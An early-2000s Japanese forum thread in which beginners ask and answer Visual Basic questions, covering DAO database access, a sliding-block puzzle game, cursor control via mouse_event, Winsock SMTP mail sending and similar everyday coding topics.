うーむ・・・確かにきついな。

んで、>>298
DAOは使っていいんだよね？
あと、参照設定って使えたっけ？
使えるんなら参照設定で
「Microsoft DAO 2.5/3.0・・・」
をチェックして、

Function a()
Dim DB as DAO.DataBase,RS as DAO.Recordset
Set DB=DAO.OpenDataBase("C:\Hoge.mdb")
Set RS=DB.OpenRecordSet("HogeHoge")'テーブル名
MsgBox(RS!HogeHogeHoge)'フィールド名
RS.Close
Set RS=Nothing
Set DB=Nothing
End Function

は駄目？

あの〜、以前「箱入り娘」ゲームをVBで作ろうとしてカキコさせて
もらったのですが、どうもうまくいきません。

↓サンプル（JAVA)
http://hp.vector.co.jp/authors/VA006860/hako/sample1.html

サンプルはJAVAですが、どうしてもVBかVCで作りたいのです。
なにがうまくいかないか、というと、駒をマウスでドラッグアンドドロップで
動かす時に他の駒の上に重ならないようにしたいのです。
ドラッグアンドドロップ中のオブジェクトの動きって制限できるものなの
でしょうか？私はFormの上にImageコントロールを置いているのですが、
そのやり方自体、間違っているのでしょうか？
どなたかどうか教えてください。

提出期限は過ぎたけど、就職の課題だった。
正味８日。子供がいるので時間的にきつかった。
ＶＢ初めてだし。
どうしても、ＤＢの直接操作の部分がうまくいかない。
オープンができても、フィールド名が取れなかったりと、
参考書もプロフェッショナル版の内容で書いてあるから、
どれが使えて、どれが使えないか判らない。
エラーがでても、自分が悪いのか、サービスされてないのか、
それを解明するのにかえって時間がかかりました。

しかし、プロフェッショナルは８万。ラーニングが２万４千。
う〜ん。価格の差があるだけのことはあると思いました。

＞＞３０８
ありがとうございます。
オープンは何とかできるようになりました。
現在フィールド名が認識されないので、作業がストップしてます。

＞309
こないだレスした者ですが、そのやり方自体は間違ってないです。
置けるか置けないか判定するのに、XY座標の２次元配列を使います。
で、Masu(1 to 4, 1 to 5)だと、娘がMasu(2, 4)まで来たらゴール。

>>312
うーん・・・。
サンプル→http://hp.vector.co.jp/authors/VA006860/hako/sample1.html
みたいに、「移動できる方向」も判定したいのです。
ドラッグアンドドロップだと、とりあえず置けはしないけど、
どこにでも行けてしまう！（MouseDownイベントで座標取得、後ドラッグアンドドロップ）
サンプルのJAVA解析しろやゴルｱって話もあるんですが、
あいにくJAVAを知らないので・・・。
これがVBの限界なんですかね・・・。

＞313
置けないところにいったん置いてから、「そこには置けません！」で
元に戻すのじゃなくて、最初からドラッグの方向を制限したいわけね。
DragOverイベントで、マウスの座標を監視するだけよ。

>>314
なるほど、そういう方法があったのかー・・・・。
勉強になりました！

>309
ちなみに、VBでゲーム製作なら、コントロールは何も使わずに
Formに直接Bltとかしてやったほうが細かく制御できるよ。
コーディング自体はちょっとメンドくなるけど。

>>301

>Formに直接Bltとかしてやったほうが

それってBitBlt関数のことですね。
今、MSDN見て初めて知りました。
確かに大変そうだけど、VBでやるなら
しょうがないか・・・・・。

>>316 がんばる気があるならDirectXというﾃも...

>>194
すごく遅れましたが、ありがとうございました。
フォントを変えるたび値を設定しなおしてやりました。
それでも若干縮んでしまいますが・・・。なんでなんでしょうねえ

>>317
一応BitBltはWindowsの基本なんで。
慣れるとむしろそっちの方が簡単だよ。

今更コントロールでゲームを作れっていわれても
ピンとこない。（ｗ

将来性とか考えて、初心者が今からVB始めるなら、
何を買うのがベスト？

Microsoft Visual Basic 6.0 Learning Edition
とか買おうかｹｿﾄｳ中。

>>321
・・・将来性ならVC++じゃねえか？VBスレだが。
VB6.0ならプロフェッショナルにしとくべし。
過去レスにラーニングで後悔した人がいっぱいいる。

>321
上でもLearning使って難儀してる人いたよ。最低でもProにしとけ。
高い！って思うなら、Delphiとかは？
Personalは確かに機能限定はあるけど、なにしろタダだし...

今、mouse_eventというＡＰＩを使ったプログラムを組んでいるのですが
マウスカーソルの移動をさせる動作が、どうしても
うまくゆきません。
Call mouse_event(MOUSEEVENTF_MOVE, x, 0, 0, 0)
とやったら、Ｘピクセルほど移動してくれなくてなんか変な場所に
カーソルが行ってしまったりします。

ともかく、ディスプレイ上の(x,y)の座標にカーソルを移動させる方法
を誰かお願いします。

＞322
＞323
ｻﾝｸｽｺ
何か作ったらｳﾌﾟするよ。

＞315
ドラッグで処理しようっていうこと自体がどうも間違いだったみたい(汗)。

MouseMoveは使わない方がいいよ。コードによってはスタック不足になりやすいから。

DragOverもふさわしくなかった。動けない方向へは動けないようにするために、
１ドットでもマウスの移動を検知したら、ドラッグを即キャンセルするんだけど、
斜めの場合、XY方向のどちらを重視するかとか、余計な処理が必要になる。

で、解決法だけど、Image上のクリックだけで空いてる方向に動かすのはどう？
スライドパズルの場合、動ける方向はほとんど決まってるわけだから。
ただし、１コマ大が左右または上下の２方向に動ける場合とかは、
そのつど、Imageのどちら半分がクリックされたか判定すればオッケー。

＞324
ｘ座標と変な場所の法則性は？
ｘの型と値は？
ピクセル座標系に変換してるかな？
これが一番間違いやすいと思う。

>>326
Image上のクリック・・・・。
確かにBitBltを使いこなすのは初心者の私には
難しいかもしれない。
でもー、サンプルのJAVAのソース↓
http://hp.vector.co.jp/authors/VA006860/hako/HakoApplet.java
だと、MouseDownとかMouseDragとかいう関数が・・・。

JAVAアプレットだと作りやすいのかな？
よくよく考えたらWindowsアプリじゃないしー。
同じ方法でやろうとしてたって事が間違ってた・・・・。
うんうん、理解、理解。

>>326
Image上のクリック・・・。
そっかー、そのやり方がいまのところ
ベストかもしれないです。
BitBltはVB初心者の私には難しすぎるっ
でもー、サンプルのJAVA(アプレット?)は
mousedownとかmousedragとかあるんですけど、
やっぱり、全然作り方が違うのかなー。
よくよく考えるとJAVAのサンプルはWindowsアプリじゃないし、
やっぱりマウスの制御でやろうというのは方向性が
間違っていたんだー。うんうん、理解、理解。

はじめまして。質問させて下さい。
Text1に手打ちで「C:\Windows\aaa」などとパスを書いて、
そのフォルダが有るか無いか判断するにはどうしたら良いですか？
お願いします。

>>330
Dir関数を使われてはどうでしょう？

>>322
私もVB6.0PROを買いたかったんだけど
アカデミックと通常版の値段を見て買う気
をなくした。
別に金が無かったわけじゃないけど、ムカツイテ
Delphi6.0PROを買ったよ。

学生なのでVS6.0Proを買っちゃいましたー(^o^)
あと7000円ほど出せばEntも買えましたけど。

ろくでもない学生なんぞのためにソフトを安くするな。

>>334

安くしているんじゃなくて、それがコスト+儲けなんだよ。
商用利用に使えるやつ(通常版)は、そのソフトを使って儲けるわけだから高いんだよ。

あの価格差は余りにも異常、、、、

学生以外も使える商用利用不可のバージョンも出せばいいのに＞マイクロソフト

爺なんか、すぐ死ぬだろ！
ガキを洗脳するのが重要なんだよ。
将来の大事な金づるだ。

しかし、Flash5の差の小ささも許せないね、、、、

知り合いの中学生か高校生、大学生に頼めばいいじゃんよ。

328,329
ほとんど同じ内容でカキコしてしまった。
スマソ

それが、いないのよ知り合いに学生が、、、

アカデミックは、教育のために金のない学生に安く･･･
なんてMSがやるわけないだろｺﾞﾙｧ
金がある奴からは搾り取る
ガキはどうせ払えないんだから、他社より安くして洗脳する
そのうちアカデミックフリーとかやりだすかもな

>>324
今日は休みなんでサンプル作ってみた。
フォームにコマンドボタン貼り付けて
フォームにこのコードを貼り付けること。

Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, _
ByVal DX As Long, ByVal dy As Long, ByVal cButtons As Long, _
ByVal dwExtraInfo As Long)
Private Const MOUSEEVENTF_ABSOLUTE = &H8000
Private Const MOUSEEVENTF_MOVE = &H1

Private Sub Command1_Click()
Dim x&, y&
x = 1200: y = 300 '移動したい座標

mouse_event MOUSEEVENTF_ABSOLUTE Or MOUSEEVENTF_MOVE, _
x * (65535 / (Screen.Width / Screen.TwipsPerPixelX)), _
y * (65535 / (Screen.Height / Screen.TwipsPerPixelY)), 0, 0

End Sub

もしかしたらもう解決済みか？(w
昨日の話だしなあ。

.NETっていつでるんですか．

>>345
知らん。

VBでゲームを作ろうと思ってるんですが
2つのキャラクターとかがぶつかったときの
あたり判定とかってどうやって設定したらいいんですか？

>>345
http://www.microsoft.com/japan/developer/vstudio/
毎日チェックせれ。

＞箱入り娘作成中さん
自前ドラッグのサンプル。フォームにイメージを１個貼って実行。
右方向に１コマ分しか動かせないという条件です。

Dim DragX As Single, DragY As Single
Dim OrgX As Single, OrgY As Single
Dim MoveFlag As Boolean

Private Sub Form_Load()
　　Image1.Appearance = 0 '' フラット
　　Image1.BorderStyle = 1 '' 実線
　　OrgX = Image1.Left: OrgY = Image1.Top
　　MoveFlag = False
End Sub

Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　MoveFlag = True '' ドラッグ開始
　　DragX = X: DragY = Y
End Sub

Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　Dim NowX As Single
　　If MoveFlag = True Then '' ドラッグ中？
　　　　NowX = Image1.Left + X - DragX
　　　　If NowX >= OrgX And NowX < OrgX + Image1.Width Then '' 範囲内？
　　　　　　Image1.Move NowX, OrgY
　　　　End If
　　End If
End Sub

Private Sub Image1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　MoveFlag = False '' ドラッグ終了
End Sub

>>347
基本は矩形（四角形）処理。
APIにもそれ用の関数がある。

つまり、矩形１と矩形２とを比べて、
重なっていたらヒット。
重なってなかったらはずれ。ってな感じで。

キャラごとに矩形をいくつか設定すると
複雑なキャラでも結構それなりに使える。

格闘ゲーム系も同じやり方でやってる。はず。(w

うちのVB6のTreeViewオブジェクトのデザイン時プロパティの
HotTrackingプロパティの説明に
「ﾏｳｽすﾌﾟﾛﾊﾟﾃｨ・・・」と書かれているんですけど、これが普通ですか？
Microsoftに言ったら何かもらえますか。

>>351
ホントだな。初めて知ったよ。
地図は間違いがあったら図書券もらえるらしいけどな。

vbでのネイティブコードコンパイルなんですが
コンパイルする度に.obj生成してlinkしてcleanしてるような気がする
C2.exeとLink.exeの引数解ればnmake.exeで
コンパイルする事は可能ですかね？
教えてちょ

ああ，どうも．確か今年中に出るって言ってたような気がするんだが・・．Windows XPみたいに誰でも使うものではないから話題になってないだけかと思ったが，どうも本当に出る気配はなさそうだな．

VB勉強してます。
データへのアクセスというところででてきた、フレキシブルグリッドというコンポーネント
が使用できなくて困ってます。
プロフェッショナルをインストールしてあるのに、
フレキシブルグリッドを使用するためのライセンスがありませんといわれます。
なぜ？？

＞箱入りさん
２時間ぐらいで、例のJavaアプレットをVBに移植しました。遊べます。
コマはまだ色の四角形ですが、GIF画像ファイルを入手すれば
即置き換えられます。

マウス座標の取得がFormと別々になるので、Imageコントロールは使わず、
Formだけにして、非表示のPictureBoxからPaintPictureします。

Java固有のスレッドやイベントの制御コード部分は無視してかまいません。

ほか
　１．あのままではマウス移動の判定が鈍いので、改良。
　２．手数を表示。←これは必須

>>356
ん？板チェックしに来たら、もう出来てる？！
私はまだ完成してません。
もしかしてImageコントロールをFormにペタペタ貼ってた
のが、ただでさえ初心者の私をさらに追い込んでたとか・・・。
そんな気がしてきた！

VBで作ったものってDLLがいるとよくいいますが
私のパソコンでは（VAIOノートのPCG-FX33G/BP）DLLがないとか
言われたことはありません。
DLLを入れた記憶はないのですが、メーカー製のものってDLLとかが標準で
入ってるってことですか？

っていうか箱入り娘のレベル１も解けないんだけど

>>359
作ってる私も解けません。

フォームに絵が出ない・・・。
ファイルのパスは合ってるのに。なんで？

Private Sub Form_Load()
Dim Pic_Waku As Picture
Set Pic_Waku = LoadPicture("C:\〜省略〜\koma0.gif")
frmMain.PaintPicture Pic_Waku, 0, 0
End Sub

>>361
frmMainにじかに書いているわけですね。
恐らくfrmMainのAutoRedrawがFalseになってるせいです。
この辺はWindowsの仕組みを理解していないとわからない所ですね。

>>362
くそー！！！
めちゃくちゃくやしい！
（と心の中で思い、太股をこぶしで殴打）

>>358
VB6.0で作ったEXEをWindowsで動かすときに最低限
用意しなければいけないものはMSVBVM60.DLLだけです。
（一応VB6JP.DLLも。無くても文字化けしながら一応動く。）

標準でついているもの以外を使った場合はそれ用の
DLLやらOCXやらがいるけど、使ってないならいりません。

そしてMSVBVM60.DLLが標準でついているOSもあり、
WinMe,2000,XPです。（なぜかVB6JP.DLLはついてない。）

上記OS以外でDLLがないという文句を言われないメーカー製PCは
メーカーがトラブルを避けるために入れているのでしょう。

CSVファイルでシングルクォートで囲まれたデータを
文字列として取り込みたいのですが、
ＶＢヘルプをみるとダブルクォートしか文字列として対応してないみたいです。
何か良い方法がありますか？

レコードを一文字ずつばらしてカンマを検出し、
文字列の両端のシングルクォートを削るしか、ＶＢでは方法がないのでしょうか？

>>365
　Split関数使ってみれ。

>>366
そんな便利な関数があったんですね。
ありがとう

>>367
低脳ﾜｻﾞと言われそうな ex...
ﾃﾞｰﾀ 'TEST_1','TEST_2' ってなってたら
　Dim strX()　　　As String

　strBuf = "'," & "'TEST_1','TEST_2'" & ",'"
　strX = Split(strBuf, "','")
でどうよ？

補足
　添え字最低値、最大値はそれぞれLBound、UBound関数で判る。
　但し、空要素の配列で何かしようとするとエラーが発生するので
自前で空配列を調べるような関数を作っておくべし。

Windows2000の「コンピュータの管理」で
[コンピュータの管理(ローカル)]-[システムツール]-[共有フォルダ]を右クリックして現れるメニューの
[すべてのタスク→]-[コンソールメッセージの送信...]をVBで制御する方法はありませんか?

これを使えれば、他のマシンと色々交信できて楽しそうなんですが。。。

>>370
コマンドプロンプトから「net send」コマンドを
実行してはどうでしょうか。
使い方は、net /?　で調べてみてください。

なんと、こんなコマンドがあったんですか。
これなら簡単にいじれますね。ありがとうございます。

ネットワークに繋がっている、コンピーュータ名の一覧を取得するには
どうしたらいいでしょうか。できればドメインごとに取得したいです。

>>373　ネットワークとはどの範囲のネットワーク？
全世界とかいうなら無理だと思うが、とりあえずやってみ

IPアドレスをしらみつぶしに調べる（当然特別なIPアドレスは省く）
0.0.0.0 〜 255.255.255.255
とりあえずpingでも飛ばしてみ。
http://www.geocities.co.jp/SiliconValley-SanJose/3279/scrap.html
http://w3.one.net/~kevinw/VB/s_modules.htm

IPアドレス→ホスト名は、このあたりを参考に。
http://www.mitene.or.jp/~sugisita/family/papa/vb/api_net.html

おまけのwhoisはこのあたりを参考に。
http://www.vbip.com/winsock/winsock_whois.asp

VBでP2Pみたいなソフトて作成できますか？

>>375
　とりあえず WinSock でもいじってみれ。

>>375
完全匿名“Freenet”のクローンでも作ってよ。
ソースも公開されているし。

「freenet0.4+frostｽﾚ　Key1」
http://tmp.2ch.net/test/read.cgi/download/1007824064/

>>356
すいませ〜ん！356さん
>１．あのままではマウス移動の判定が鈍いので、改良。
どんな風に改良したんですか？

まだ、完成してません・・・・。

＞378
１．移動ベクトルの傾きを計算して、XとYのどちらを優先するかをまず判断。
　　実際にはAbsで絶対値の大小比較をするだけ。
　　今度は敏感すぎて、２マス連続で移動しちゃう(笑)。
２．マウスボタンを離した点で判定してたのを押し始めの点で判定。

困ったこと。ふつうは１マスずつ移動させるのですが、それだと瞬間移動みたいだから、
あの作者はわざわざ半マス移動方式にしたんでしょうね。
でも、手数のカウントが面倒です。いまは単純に２で割ってるだけです。

ほか、改良点としては効果音をつけました。

テキストをアンチエイリアスをして表示する方法を探していたら
GetGlyphOutline()でできるようなこと書いてあったのですが

1.APIビュワーからコピペしたものを使おうとしたら
「ユーザー定義型は定義されていません」となってしまいます。
("lpgm As GLYPHMETRICS"と"lpmat2 As MAT2"がひっかかってる？)
2.引数になにを入れたらいいかわかりません（汗

どなたかご教授お願いします。

>>379
移動ベクトルの傾き・・・
押し始めの点で判定・・・・

もうちょっと勉強してから出直してきますっ

＞381
むずかしく書いちゃったけど、ここのとこです。
　　If y - oldy > 32 Then Call DownKoma(x, y)
これを
　　If Abs(x - oldx) > Abs(y - oldy) Then でまず判定して、
　　　　If y > oldy Then Call DownKoma(oldx, oldy)
移動は１ドットでもオッケー(笑)。

ボタンを離した点と書いたのはカン違いで、ドラッグ中の点でした。
だから、そのままでもいいのかも。

GIF画像は、サイトにあったのを使いましたが、koma12.gifは
「You Win!」って大きく書いてあるだけなので、パス。

初歩的な質問で申し訳ないのですが、
.wavファイルのループ再生を行うにはどうすればいいのでしょうか。
現在標準モジュールに
Declare Function sndPlaySound Lib "winmm.dll" _
Alias "sndPlaySoundA" (ByVal lpszSoundName As String, _
ByVal uFlags As Long) As Long
Public Const SND_SYNC = &H0
Public Const SND_ASYNC = &H1
Public Const SND_NODEFAULT = &H2
Public Const SND_LOOP = &H8
Public Const SND_NOSTOP = &H10

フォームに
Private Sub Command2_Click()
Call sndPlaySound("A:\中略\game.wav", SND_LOOP)
End Sub
と書いているのですが、エラー音しか出ないのです。
どこが間違っているのか教えてやってください。

>>383
ヘルプから抜粋：
指定されたファイルが見つからなかった場合、PlaySound関数はデフォルトの
サウンド（一般の警告音）を鳴らそうとします。
pszSoundパラメータで指定したサウンドは、使用可能な物理メモリに収まる
サイズでなければなりません

この辺で引っかかってませんか？

すいません。説明不足でうまく伝えられなかったようです。
ネットワークに繋がっているとは、単にネットワークコンピュータで
表示されるパソコンのことです。
やりたいことは、たとえばWORKGROUPにぶら下がるPC名の一覧が欲しいのです。
それで、さらにWORKGROUP以外にもグループがあったとしたら、そちらの
PC名もほしいのです。

EXCELみたいなイメージの表形式でデータ表示したいのですが、
標準のコントロールでは何を使うのが一番いいんでしょうか？

>>386
DataGridかDataBoundGridなんかはどうでしょうか。

>>387
レスどうも。

＞DataGridかDataBoundGrid
これは参照設定とかしないと出てこないモノなんですか？

参照設定じゃなくコンポーネント。
Microsoft DataGrid Control 6.0。

今日、本屋逝ったら、VB.NET本けっこう出てんだね。
いつ出んだろ？

>>389

ども。
今VB5使ってるんですが、
DataGrid Control というのが見つかりません。
なんていう名前のOCXかわかりますか？

>>391
DataGridはVB6です。
VB5なら Data Bound Grid かな

>>385
WNetEnumResource()API、WNetOpenEnum()APIあたりで
昔やった記憶があるよ。

>>392
DBGRIDですか。
どもでした。

本当に初心者の初心者です。

今度、中途の就職活動のＳＥの求人先で、「意欲はあるのは分かるが
何か言語試して欲しい」と言われました。それでＰＣ環境的にもてっと
り早いのがＶＢではないかと、言われたのです。基本は取りあえずわか
りそうなのですが、何か何でもいいから作って欲しいと言われた課題内
容をどうしたものかと考えています。

ＶＢの初心者として最初に組めたら良い、メルクマール的な、プログラム
って何でしょうか？教えて下さい。

研修で良く初心者に課題として課される者でも良いのですが・・・。
よろしくお願いします。

VB6.0で、Internet　Trancefer　Controlを使ってFTPでファイル送信をしたいのですが、
連続で二回以上送信すると当然のようにうまくいきません。

画面を表示しない仕様のため、標準モジュールで処理を行っています。
（fromはVisibleをFalseにしています）
うまく一回ずつ間を空けるように出来ないでしょうか。


Win2000

ああ、環境を書こうとしてミスった。。。

Win2000のVB6.0を使ってます。

プログラムもかけないのにSEか。

おめでてーな。

395はネタなんだよね？
本気でそんな質問しないよね？

>>395
小・中学生、高校生、バカな大学生が対象なら、
とりあえず、「日付と時刻のプロパティ」のようなものを
標準のコントロールだけで作らせる。

MIDの子フォームが常にMIDの親フォームの中央に表示される
ようにするにはどうすればよいのでしょうか？

WindowStateを変更するとエラーが発生して、
標準にしか設定できません。

>395
そりゃー「HelloWorld」に決まりでしょ

VBっつー事は業務系だよな。
なんかデータベースにつないでInsert/Update/Deleteなどを一通りやってみたら?
SEってことだから設計能力も問われると思われ。

はっ、ﾏｼﾞﾚｽしてしまった

っていうか一応、研修もあるらしいンですが。
全く未経験という場合には課題を課しているそうです。

>404
課題ができないと落とされるってワケか？

その辺、アバウトなんですが、取りあえず、「適性」というのを見ようという
事らしいです。しかし、課題が何でも言いと言われても・・・。テキストには
時計プログラムとか載っていますが・・・。

>395
ネタかと思ったんだが・・・。
その会社はオープン系なんか？
じゃ、403さんの言うとおりのDBとの連携なんかが
いいんじゃネーノ？
IEコンポーネント貼ったブラウザもどきとかもいいかもな。

ちなみに俺が前受けた会社はBMP画像の拡大をするもの
とかが課題だったな。ゲーム系だが。
クソまじめにラグランジュ補完とかやったな。落ちたけど。

途中でカキコしちまった。

しかし、395さんよ、SEとして成功したいならさ、
提案能力も問われるわけだろ？
「そういう要求に対してどういう提案が出来るか」が
その会社の人間が見たいとこだろうと思うぞ。
ここで、聞いて参考にするのもいいけど、
やっぱさ、自分で考えることに意味があるんじゃないの？

WordのVBAで質問です。
docファイル文章内すべて文字「XXX」検索して、置換するというプログラムを作ろうとしているのですが、
Findメソッドを使用し、Do loopで末尾までぐるぐる回そうとしたのですが、
文章の末尾どう取得してよいかわかりません。

Do loopで文章の先頭から末尾まで回すときは、どんな条件にするればいいでしょうか？

>>409　「マクロの記録」でやったらこんなコードになりましたが。

Selection.WholeStory
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = ""
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = False
.MatchFuzzy = True
End With
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "キーワード１"
.Replacement.Text = "キーワード２"
.Forward = True
.Wrap = wdFindAsk
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = False
.MatchFuzzy = True
End With
Selection.Find.Execute Replace:=wdReplaceAll

>>410
ありがとうございます。
[XXXA1234]を[ZZZA1234]ではなく[ZZZ12A34]
というような置換をしたいのですが、この場合は
１．一行アクティブして、
２．INSTR関数で「XXX」を検索し
３．アクティブ行を置換
という順序で考えています。
説明不足ですいませんが、お願いします。

＞411
どうしてわざわざ１行ずつやるの？
INSTRで文書全体検索すればいいじゃん。
0が返ってくるまで。

＞412
な、なんといっていいか・・・
あ、ありがとうございます。

vbNewLine　と　vbLf，vbCr，ｖｂCrLf　の使い分けを教えてください。
Excelのセル内改行はvbLfのようだけど　他はｖｂCrLfでなくても改行されます。
じゃあ　vbNewLine　じゃなくてもWindowsでは勝手に判断してくれるの？

＞414
ttp://pc.2ch.net/test/read.cgi/tech/1000523122/193-197

>>415
レスありがとうございます。
リンク先の
>vbNewLine : 一応プラットホームに依存しない（事になってる）コードを書ける。
>まあ気休めだけどね。
は見ました。

聞きたかったのは
vbNewLine　じゃなくてもWindowsでは勝手に判断してくれるの？
と書いたように、vbLf，vbCrを使用してもWindowsでは
改行してくれるので意識しなくてもようのかとか、vbLfでないとだめな場合とかをお聞きしたかった
のです。

>意識しなくてもようのかとか
意識しなくてもよいのか　とか

＞416
勝手に判断はしてくれない。
有名なところでは、メモ帳はvbLfやvbCrで改行しない。

逆に、vbCrLfでダメな場合は例外的ケースで、そんなに多くないはず。
それだけ覚えておけばいい。
もちろん、いつかは仕様変更されると思う。
だから、vbNewLineを使っておけば、いちおう安心ってことね。

>>408
まあ、営業力とか問われるのは分かっています。
そう言う業界だったんですが前職。
あからさまに聞けないことも２ｃｈなら、まあ聞いてもイイかなと思いまして。
結局決めるのは自分だってのは分かってます。

VBでメール送信バッチを作ります。
フリーのメール送信ｄｌｌ等も使わず、mapiを使わずに、
メール送信ってできますか？

>>420
できるっしょ

>>421
どうやってやるのか、是非教えて頂きたい。

実行中に、次の命令との時間間隔を開けたいときはどうすればいいの？

msgbox"bigin"

'たとえばここで一秒待ちたい

msgbox"end"

>>423
Timer関数使ってDo〜Loopとか。

>>423
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
して
Sleep 1000
とかでどうです

>>424
>>425

さんきゅです。試してみます。

>>424
すいません、標準モジュールから意識的にタイマーイベントを呼び出す方法を
教えて欲しいのですが。。。。

どうやったらよいのでしょうか。

>>422
Winsockコントロールを使うか、いやならAPIを使えばいい。
WSAStartup
socket
connect
send
recv
closesocket
WSACleanup
あたりを調べてみて

>>427
Timer1.Enabled=True
か
Form1.TIMER1_TIMER
でどうでしょうか。

>>423
>>428-429
APIやTimerｺﾝﾄﾛｰﾙ使いたくないなら

Sub main()

Dim ldblTimer As Double

MsgBox "Hoge"
ldblTimer = Timer

Do
If ldblTimer + 1# < Timer Then '１秒経過したら
Exit Do
End If
Loop

MsgBox "HogeHoge "

End Sub

正確ぢゃ無いけど。

情けない質問で申し訳ないのですが、
VBでテキストファイルを読み込む際、Tabも一緒に読み込むにはどうすればいいんでしょうか？
Open filename for input as #1からInputステートメントで読み込むと、
データに含まれるTabが無視されて困ってます・・・

>>431
line input

>>422 とりあえずRFCを読んでみるとよろしいかと。

ttp://www02.so-net.ne.jp/~hat/mailer/rfc.ja.html　（日本語訳）
ttp://ash.or.jp/ash/tips_prog/htm/telnet_smtp.htm

コードはこんな感じ。ものすごく単純化してあるし、まちがって
いるかもしれないので、このまま使わないでください。
あくまでも参考にということで。

------ここから
Private Sub Send()

Dim strHost As String
Dim strDomain As String
Dim strFrom As String
Dim strFromName As String
Dim strTo As String
Dim strSubject As String
Dim strData As String

With objWinsock
.RemoteHost = strHost
.RemotePort = 25
.Connect

Do While .State <> sckConnected Or Left$(mstrBuff, 3) <> "220"
DoEvents
Loop

.SendData "HELO " & strDomain & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "MAIL FROM: " & mstrFrom & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "RCPT TO: " & strTo & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "DATA" & vbCrLf

Do While Left$(mstrBuff, 3) <> "354"
DoEvents
Loop

.SendData "From: " & strFromName & " <" & strFrom & ">" & vbCrLf & _
"Date: " & Format(Now, "ddd, d mmm yyyy hh:mm:ss") & " +0900 (JST)" & vbCrLf & _
"To: " & strTo & vbCrLf & _
"Subject: " & strSubject & vbCrLf & _
vbCrLf & _
strData & vbCrLf & _
"." & vbCrLf

Do While Left$(mstrBuff, 3) <> "250"
DoEvents
Loop

.SendData "QUIT" & vbCrLf

Do While Left$(mstrBuff, 3) <> "221"
DoEvents
Loop

.Close

Do While .State <> sckClosed
DoEvents
Loop

End With

End Sub
------ここまで

>>432
解決しました、ありがとうございました！

重ね重ねで申し訳ないのですが、
テキストボックスの文字を、特定の部分だけ色替えしたり、
強調したりする方法ってありませんか？

>>435
RichTextBox使えばー

>>435
拡張コントロールを使いたくないなら
自前で描画するしかないな。

>>433
コードまで頂き、感涙であります。
早速、試してみます。

>>433
コードをリーダーに見せたら、もう一回お礼を言って来いと
言われました。重ねて、ありがとうございます。

>>439
文字コードの変換もお忘れなく

いまさらですが、１５パズルが作りたいのです。
まず、どっからやればいいんでしょうか？
教えてください

ExelとかのVBAとVisualBasicとかで作るものの差はなんですか？
VBAではここまでしかできないけどVisualBasicとかではできるとか
ありますか？

>>442
いっぱいあるけど・・・・主な所をあげると、

VBAよりVBが優れている所
・ネイティブコンパイル可能
・必要なランタイムが少ない
・APIやフォームなどが使いやすい

VBAがVBより優れている所
・Office系のデータを簡単にいじれる

てな感じ（細かい所は無視）

でもやっぱり一番の魅力はネイティブコンパイルだろうなあ。
ソフトとして発表できるし、何より速い。

>>416

>勝手に判断はしてくれない。
>有名なところでは、メモ帳はvbLfやvbCrで改行しない。

レスありがとうございます。また舌足らずでした。
VBのプログラム中に

MsgBox "AAA" & vbLf &　 "BBB"
MsgBox "AAA" & vbCr &　 "BBB"

と書いても改行してくれているということを言いたかったのです。
だからvbNewLineって？と思った訳で
WindowsのVBではと書くべきでした。（Ｍａｃ版もVBAはあるよね）

>vbCrLfでダメな場合は例外的ケースで、そんなに多くないはず。

昔、ラベルのキャプションがvbLFだったと聞いたことがあります。
今はvbCrLfでもOKのようですが。
そういった使い分けが知りたかったのです。

>vbNewLineを使っておけば、いちおう安心ってことね。

そうですね（＾＾）

>>436
レスありがとうございます！
RichTextBoxはよく分からないんですが、頑張って勉強してみます。

>>437
自前で描画はやろうと思ったんですが、IMEが使えなくなったりと
こっとの方がトラブル多くて諦めました・・・

>>441
一例を挙げてみます。
使うコントロール：ピクチャボックス
ピクチャボックスを４×４に分割して考え、それぞれの升目にパネルを配置する。
キーボードの↓←↑→が押されたらイベントを呼び出し、空白升に隣接したパネルを動かす。
（マウスイベントでも可）
パネルがそろえば、ゲームクリア。

パネルの配置は２次元配列（４×４）を使うと良いでしょう。
あとは、パネルの配置が変わるごとに、ピクチャボックスを再描画する。

------------------------------------------------------------
[Declaration]
Option Explicit
＜変数の定義＞

[Form_Load()]
＜乱数配列を初期化する（Randomize)＞
＜パネルを配置する（乱数使用）→パネルの配列（２次元）に格納＞
＜ピクチャボックスに描画＞

[Picture1.KeyDown(...)]
select case keycode
case vbkeyleft:……
　　……
end select
＜ピクチャボックスに描画＞
＜揃ったかどうかを判定＞

画像を使う場合、BitBlt APIを使うと良いです。
分かりにくくてすみません・・・

>>445
親切にありがとうございました。
今度、これを参考に作りたいと思います。

VB6ってWindows2Kで動きますよね？

いまさらですが、１４、１５パズルを解きたいのです。
まず、どっからやればいいんでしょうか？
教えてください

>>448
１４パズルっていうのは聞いたこと無いです。
解くっていうのは、解くプログラムを作るっていうことですか？

だとすると、まず数学的に解く必要がありそうです。

>>447
XPでも動きます。

＞448
15パズルの局面数は、(16!/2)通り≒10 の13 乗。
まず、8パズルぐらいからやってみろ。 (9!/2)= 181440個

>>449
１４⇔１５パズル、しらない？

１４・１５パズルってこれ？
http://www.incl.ne.jp/~hotcake/puzz15.htm

14-15パズルって、１５パズルの１４と１５を入れかえる問題。

すいません、空のファイルを作りたいんですけど
本とか見てもどうもサッパリなんです。

どなたかお教授を・・・

openだかなんかを宣言した時点で空（0BYTEの）のFILEが作られます。
指定した容量の空のFILEなら知りません。

>>455
０で埋めたいんならRedimかDimで好きな大きさのByte配列を宣言して
Open後Put#で書き込む。

ソートについて勉強しているんですが、それについての質問です。
